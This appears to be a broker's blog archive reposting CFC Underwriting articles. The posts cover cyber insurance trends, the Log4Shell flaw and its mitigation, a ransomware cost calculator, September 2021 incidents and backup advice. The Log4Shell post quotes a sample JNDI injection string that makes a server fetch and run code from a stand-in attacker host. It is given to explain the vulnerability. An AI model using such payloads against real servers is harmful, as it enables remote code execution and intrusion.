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Category Archives: Cyber Liability

Cyber Trends Predicted for 2022

2021 was certainly a time of change for the cyber insurance market and it’s looking like 2022 will be no different.

The cyber threat landscape over the last year has proven to be the most volatile yet in the history of the market, for the simple reason that the risk is too low and the profitability too high for threat actors. As a result, cyber insurers have had to evolve just as quickly to prevent and respond, leading to the following predictions for the year ahead:

Zero-day ransomware attacks
Zero-day ransomware attacks will dominate the headlines, whereby criminals exploit software vulnerabilities before any patches are available to avoid them by businesses. This means that the only way to prevent an attack is through improved security controls in advance.

Fear of a systemic risk event
Third party dependencies will continue to be a weak link for cyber risk. Managed service providers and cloud computing providers will continue to be lucrative targets for cybercriminals, with the fear of the next large-scale systemic risk event – where a single event has the potential to impact thousands of businesses – at the forefront of everyone’s mind.

Cyber insurance = risk management service
Cyber insurance will predominantly become a proactive risk management service. Insurers will seek to prevent claims before they happen and will pivot to conducting scans to detect vulnerabilities as an added service through mobile app technology.

Increased regulatory and governmental scrutiny
Increased scrutiny by both regulators and government advisory groups with a focus on improving security standards for businesses to prevent attacks. Equally, government bodies will seek to ensure there is more transparency around when businesses decide to pay ransom demands through legislation.

Targeting manufacturers and distributors
Criminals will continue to target businesses in industries where standards for security have historically been weak. Manufacturers and distributors have been particularly impacted in the last year given dependencies on automation, robotics, and the supply chain as entryways in their networks.

Continual hardening of the market
As a result, the cyber market is expected to continue to harden with more corrective action taken on rates to ensure the coverage can be maintained as broadly as it has been. Cyber will move from ‘hard to sell’ to ‘hard to buy’ based on limited available capacity, and undoubtedly become where a company’s largest exposure now lies.

So, that’s what CFC thinks will be the most prominent trends hitting the cyber insurance market throughout 2022, but what do you think?

 

Source: www.cfcunderwriting.com


Log4Shell Vulnerability

Log4Shell (CVE-2021-44228) is a critical vulnerability that has been actively exploited and scanned for by malicious actors since its discovery beginning of December. It enables attackers to run arbitrary code on servers running vulnerable versions of the Apache Log4j 2 library.

What is Log4j 2?

The Log4Shell vulnerability results from how log messages are being handled by the processor in log4j2, an open-source logging service provided by the Apache Group that provides logging for numerous projects. It enables attackers to run arbitrary code on servers running vulnerable versions of the Apache Log4j 2 library.

An attacker can send a specially crafted message, which contains a link to a server they control. For example, they may send a message including the string ${jndi:ldap://evil.xa/x}, where ldap://evil.xa is the attacker-controlled server.

The specially crafted message is passed to the log4j library so it can be logged, but in doing so it queries the malicious server. The malicious server will then respond with directory information, along with whatever code the attacker wants to execute on the victim server. Finally, the victim server downloads this response and executes the code included in the response.

Some of the products known to be using this, and therefore vulnerable to the vulnerability, are:

Apache Druid
Apache Dubbo
Apache Flink
Apache Flume
Apache Hadoop
Apache Kafka
Apache Solr
Apache Spark
Apache Struts
Apache Tapestry
Apache Wicket
Elastic Elasticsearch
Elastic Logstash
Ghidra
Grails
Minecraft
Apache Tomcat
Dropwizard
Elastic Kibana
Hibernate
JavaServer Faces
Oracle ATG Web Commerce
Spring Framework

Why is this critical?

The vulnerability itself allows an attacker to load arbitrary – potentially malicious – code into the target server. This code might add a backdoor to a server, cryptojack or even carry out a ransomware attack.

The vulnerability was published earlier in December alongside a working proof-of-concept that would enable malicious actors to exploit it.

How to mitigate?

To mitigate against this vulnerability, we recommend installing the latest updates (2.15.0 or later), and the regular and timely updating of any affected third-party software. This should be done on all devices, not only those directly exposed to the internet.

To support the first priority action above, you also should determine if Log4j is installed elsewhere. Java applications can include all the dependent libraries within their installation. To do this, you should undertake a file system search for log4j, searching inside EAR, JAR and WAR files e.g.:

find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null

If a dependency or package manager is used, this can be searched. For example:

dpkg -l | grep log4j

There could be multiple copies of Log4j present and each copy will need to be updated or mitigated.

If updating Log4j 2 is not feasible, this vulnerability can still be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true”. This can be done by restarting the Java service through the use of an argument:

java -Dlog4j2.formatMsgNoLookups=true …

or you can set an Environment Variable for the JVM arguments:

JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

Please contact your IT department with any questions on updates needed.

Source: www.cfcunderwriting.com

 


How Much Could Ransomware Cost Your Client?

CFC’s new tool helps you find the answer.

Ransomware attacks are a disproportionately expensive type of cyber event, accounting for 81% of all cyber-related losses last year. But how much it costs an individual business depends on their industry sector and size as well as a number of other factors, from how long they were out of action to whether sensitive data was stolen.

Built from data analysis relating to thousands of cyber events handled by CFC, this new tool gives users low, medium, and high severity ransomware loss estimates based on just four simple pieces of business information. It also generates a bespoke, downloadable report explaining the methodology used.

Try it out and help your clients get to grips with the single biggest cyber threat facing their business today.

Click here to enter CFC’s brand new ransomware calculator.

Source: www.cfcunderwriting.com


September Cyber Incidents

It’s been busy in the world of cyber risk, and September is no exception. In the past month, we’ve seen big players like Apple and Microsoft suffer zero-day vulnerabilities as well as ransomware continuing to wreak havoc across the globe.

  1. The return of the REvil ransomware groupThe REvil ransomware gang has returned and is attacking new victims and publishing their stolen files.

    Following a massive attack on July 2nd, which exploited a zero-day vulnerability in the Kaseya VSA platform to encrypt 60 managed service providers and over 1,500 businesses, REvil shut down their infrastructure and completely disappeared. The attack’s impact was felt worldwide, bringing the attention of international law enforcement, and the REvil gang suddenly shut down on July 13th.

    To everyone’s surprise, the REvil ransomware gang came back to life on 7th September under the same name when the Tor payment/negotiation and data leak sites suddenly turned back on and became accessible. Proof of new attacks emerged on September 9th when someone uploaded a new REvil ransomware sample compiled on September 4th to VirusTotal. On September 11th, the group published screenshots of stolen data for a new victim on their data leak site.

  2. Windows MSHTML zero-day exploits shared between attackersThreat actors are sharing Windows MSHTML zero-day (CVE-2021-40444) tutorials and exploits on hacking forums, allowing other hackers to start exploiting the new vulnerability in their own attacks.

    On 7th September, Microsoft disclosed a new zero-day vulnerability in Windows MSHTML that allows threat actors to create malicious documents, including Office and RTF docs, to execute commands on a victim’s computer remotely. After the vulnerability was disclosed, Microsoft Defender and other security programs were configured to detect and block parts of this attack.

    While these mitigations will help, as the exploit has been modified not to use ActiveX controls, users are still at risk until an official security update is released. Until Microsoft releases a security update, everyone should treat all Word and RTF attachments suspiciously and their source manually verified before opening them.

  3. Olympus hit with BlackMatter ransomwareOlympus, a leading medical technology company, is investigating a “potential cybersecurity incident” that impacted some of its EMEA IT systems last week. Olympus has more than 31,000 employees worldwide and over 100 years of history developing for the medical, life sciences, and industrial equipment industries.

    While Olympus did not share any details on the attackers’ identity, ransom notes left on systems impacted during the breach point to a BlackMatter ransomware attack. The same ransom notes also point to a Tor website the BlackMatter gang has used in the past to communicate with victims.

  4. Apple patches zero-day flaw exploited by NSO GroupApple has released security updates for a zero-day vulnerability that affects every iPhone, iPad, Mac and Apple Watch. Citizen Lab, which discovered the vulnerability and was credited with the find, urges users to immediately update their devices.

    Citizen Lab said it has now discovered new artifacts of the ForcedEntry vulnerability which it first revealed in August as part of an investigation.

    This exploit is significant because it breaks through new iPhone defenses that Apple had baked into iOS 14, dubbed BlastDoor, which were supposed to prevent silent attacks by filtering potentially malicious code. Citizen Lab calls this exploit ForcedEntry for its ability to skirt Apple’s BlastDoor protections.

    Citizen Lab said it attributes the ForcedEntry exploit to NSO Group with high confidence, citing evidence it has seen that it has not previously published.

Source: www.cfcunderwriting.com


Cyber Tips: Backup Policies

Data is the most valuable part of a computer system and may be irreplaceable if lost to a ransomware attack or a hardware failure, or if it becomes corrupted.  The following tips will assist you planning and preparing a backup policy for an incident in case the worst happens.

What is a backup policy?

A backup policy is a well-thought-out plan to mitigate against data loss that could happen due to a ransomware attack, hardware failure, data corruption, or some other detrimental event. If implemented well, it can help an organization to return to business as usual more quickly and easily.

The complexity of the backup policy will depend on the size of the organization, the number of applications and databases it uses, and the quantity of data that requires backing up. It will also depend on company policy and regulatory obligations applicable to the organization.

How do I implement backup policy best practice?

1. Identify your most critical data and plan accordingly

By identifying the most critical data to your business, resources can be allocated to ensure that this data is protected and prioritized. Backups can be tailored to that particular data accordingly.

2. Take frequent backups

If you have mission-critical data, then attention should be paid to the frequency of the backups that are taken.

3. Use the 3-2-1 approach to backups

Create three copies of your data in addition to the original file, using two different backup media types stored locally and one copy stored remotely offsite.

Backups should be isolated or air-gapped from the network when not actively backing up data.  Backup media should never be permanently connected physically or over the network.

4. Employ versioning to data

Backups should contain old versions of your data, not just current versions of files backed up most recently. This is important in case of file corruption or ransomware that may be lurking in current data backups.

5. Periodically test the integrity of your backups

Data should be checked regularly to ensure that it is accessible and readable.

Other considerations for your backup policy

o  Data should be encrypted when backed up. This will help prevent unauthorized access.

o  Consider making your backups immutable, so they cannot be altered by you or the bad actors.

o  Consider using remote storage. Cloud based storage can be a cost-effective option if managed correctly.

o  Automate backups where possible. This will make the practice of backing up your data a part of everyday business.

o  Consider the retention period for your backups. This is especially important if you are using cloud services to back up your data.  Cloud data storage costs can mount up so determine a sensible length of time for storage in your backup policy, considering legal and regulatory obligations.

o  Consider your data retention policy. Do you actually need all the data that you are storing and backing up? Often data is stored unnecessarily adding an unnecessary cost and has additional security burdens if exposed.

Source: www.cfcunderwriting.com


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